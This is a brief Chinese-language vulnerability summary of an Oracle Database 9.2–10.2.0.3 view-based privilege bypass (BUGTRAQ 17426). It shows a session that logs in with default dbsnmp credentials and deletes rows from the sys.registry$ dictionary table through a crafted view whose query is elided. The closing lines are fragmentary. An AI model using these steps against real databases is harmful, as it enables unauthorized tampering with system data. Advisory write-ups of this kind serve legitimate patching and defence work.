| 項目 | 詳情 |
|---|---|
| CVE / BUGTRAQ | BUGTRAQ ID 17426 |
| 影響版本 | Oracle Database 9.2.0.0 ~ 10.2.0.3 |
| 權限前提 | 僅具 SELECT ANY DICTIONARY (如 DBSNMP) |
| 核心缺陷 | 建立特製 View 繞過權限檢查,對基表執行 INSERT/UPDATE/DELETE |
| 利用條件 | 基表必須有 Primary Key |
SQL> CONNECT dbsnmp/dbsnmp
SQL> DELETE FROM sys.registry$;
ORA-01031: insufficient privileges
SQL> CREATE OR REPLACE VIEW e AS SELECT ... [特製查詢];
VIEW created.
SQL> DELETE FROM e;
17 rows deleted. -- 成功竄改字典表!
CREATE DATABASE LINK 等進一步滲透。CREATE VIEW、CREATE DATABASE LINK 權限。文章發布時 Oracle 尚未發布補丁,建議持續關注 Metalink Critical Patch Update (CPU) 並儘快套用。